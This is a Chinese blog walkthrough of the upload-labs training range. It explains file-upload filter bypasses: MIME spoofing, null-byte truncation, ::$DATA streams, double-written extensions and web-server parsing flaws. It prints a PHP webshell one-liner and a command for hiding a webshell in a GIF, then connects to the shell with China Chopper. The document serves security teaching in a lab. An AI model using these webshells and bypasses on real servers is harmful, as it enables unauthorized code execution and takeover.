合天-web安全-文件操作(二)--具体绕过操作

https://github.com/c0ny1/upload-labs靶场开源地址

基础知识:4. 常见的MIME类型
1)超文本标记语言.html文件的MIME类型为:text/html
2)普通文本.txt文件的MIME类型为:text/plain
3)PDF文档.pdf的MIME类型为:application/pdf
4)MicrosoftWord文件.word的MIME类型为:application/msword
5)PNG图像.png的MIME类型为:image/png
6)GIF图像.gif的MIME类型为:image/gif
7)MPEG文件.mpg、.mpeg的MIME类型为:video/mpeg
8)AVI文件.avi的MIME类型为:video/x-msvideo
5. 00截断
1) 0x00截断
0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束符。
0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。
总之就是利用ASCII码为0这个特殊字符,让系统认为字符串已经结束。
2) %00截断
url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。总之就是%00被服务器解码为0x00发挥了截断作用。
3) 0x0a
0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置。

  1. 解析漏洞
    1)IIS6.0解析漏洞
    目录解析:在网站下建立名为.asp、.asa的文件夹,其目录内任何扩展名的文件都会被IIS当作asp文件来解析并执行,如创建目录aa.jsp,那么/xx.asp/xx.jpg会被解析成ASP脚本来执行;
  文件解析:在IIS6.0下,分号后面的不被解析,也就是说aa.asp;.jpg会被服务器当成aa.asp文件来执行;

  IIS6.0默认的可执行文件除了asp还包括asa、cer和cdx

2)IIS7.0/Nginx<8.0.3畸形解析漏洞
在默认开启Fast-CGI情况下,攻击者上传一个内容为<?PHP fputs(fopen('shell.php','w'),'<?phpeval($_POST[cmd])?>’);?>的jpg文件,然后访问xx.jpg/x.php,在这个目录下就会生成一句话木马shell.php

3)Apache解析漏洞
Apache是从右往左开始判断解析,如果为不可识别解析再往左判断,如aa.php.owf.rar文件,Apache不可识别解析‘.owf’和‘.rar’这两种后缀,会解析成.php文件。

制作图片马

  图片马制作方法:copy test.gif /b + eval.php /a eval.gif
  将PHP一句话追加到gif图片末尾,b表示二进制文件,a表示ASCII码文件,形成一个包含webshell代码的新gif文件eval.gif。

开始测试

一句话木马 在这里插入图片描述

Pass-02

查看源码可以发现是白名单判断,只允许上传$_FILES[‘upload_file’][‘type’]为’image/jpeg’、'image/png’及’image/gif’的文件

那么就抓包后自己改
在这里插入图片描述
改过来上传即可,在响应文件里查看
在这里插入图片描述

Pass-06

在这里插入图片描述
发现还是黑名单检测,但是没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过
还是上传之前的PHP一句话木马eval.php并用burpsuite抓包,将文件后缀改为.php+空格
在这里插入图片描述
在这里插入图片描述

Pass-07

通过查看源码可以发现没有对后缀名进行去‘.’处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的‘.’,通过在文件名后加‘.’进行绕过。
在这里插入图片描述

Pass-08

在这里插入图片描述
发现没有对后缀名进行去‘:: D A T A ’ 处 理 , 利 用 W i n d o w s 下 N T F S 文 件 系 统 的 一 个 特 性 , 即 N T F S 文 件 系 统 存 储 数 据 流 的 一 个 属 性 DATA’处理,利用Windows下NTFS文件系统的一个特性,即NTFS文件系统存储数据流的一个属性 DATAWindowsNTFSNTFSDATA,当我们访问aa.asp:: D A T A 时 , 就 是 请 求 a a . a s p 本 身 的 数 据 。 可 以 在 后 缀 名 后 加 ‘ : : DATA时,就是请求aa.asp本身的数据。可以在后缀名后加‘:: DATAaa.asp::DATA’,绕过对黑名单的检测。
在这里插入图片描述
成功上传文件到upload文件夹下。
Windows文件流特性绕过,上传成功后实际保存的文件名是201904101822529651.php。

Pass-09

在这里插入图片描述
还是黑名单过滤,注意第15行和之前不太一样,路径拼接的是处理后的文件名,直接上传.php、.php+点、.php+空都会被当成黑名单过滤掉,因为源代码做了删除文件名末尾的点和首尾去空处理。可以配合解析漏洞,构造‘点+空格+点’的形式,绕过黑名单的检测上传恶意文件。
在这里插入图片描述

Pass-10

在这里插入图片描述
依然是黑名单限制,注意到这里将问题后缀名替换为空,我们可以利用双写绕过,进行恶意文件的上传。
上传eval.php并使用burpsuite抓包,修改后缀名为pphphp,点击‘go’之后查看文件是否上传成功
在这里插入图片描述

Pass-11

利用的事00截断
注:%00截断的条件:

  1)PHP版本小于5.3.4;
  2)打开PHP的配置文件php-ini,将magic_quotes_gpc设置为Off。

这里是想对上传的文件进行拼接,直接就成了其他的文件,而且是get传参,那么就可以直接进行修改,不用再经过二进制/。
在这里插入图片描述
在这里插入图片描述
菜刀直接链接在这里插入图片描述

Pass-12

和Pass-11不同的是,'save_path’是通过post传进来的,需要在二进制文件中进行修改,因为post不会像get那样对%00进行自动解码。所以用hex进行解码
在这里插入图片描述

Pass-13

在这里插入图片描述
通过读取文件的前两个字节来判断文件类型,可以上传图片马,添加GIF图片的文件头绕过GIF图片检查
在这里插入图片描述
在这里插入图片描述
配合文件包含漏洞执行webshell:
在这里插入图片描述
菜刀连接webshell:
在这里插入图片描述
点这个‘+’号,输入webshell地址:http://10.1.1.100/upload-labs/upload/include.php?page=5120190530143008.gif
在后面的post数据输入框里输入:test=phpinfo();
在这里插入图片描述

Pass-14

在这里插入图片描述
这里使用getimagesize()获取文件类型,直接上传图片马,添加GIF图片的文件头绕过GIF图片检查。
在这里插入图片描述
Pass-14还可以通过上传.php文件,修改Content-Type,添加GIF图片的文件头GIF89a进行绕过。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在…/upload/后添加test.php (.php后面加空格),filename不用修改,然后点击‘Hex’:
在这里插入图片描述
在这里插入图片描述
最终上传的是test.php文件。

Pass-19

在这里插入图片描述
发现move_uploaded_file()函数中的$img_path是由post参数save_name控制的,可以在save_name中利用00截断进行绕过。

保存名称修改为‘test.php+空格.1.jpg’,点击‘上传’

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值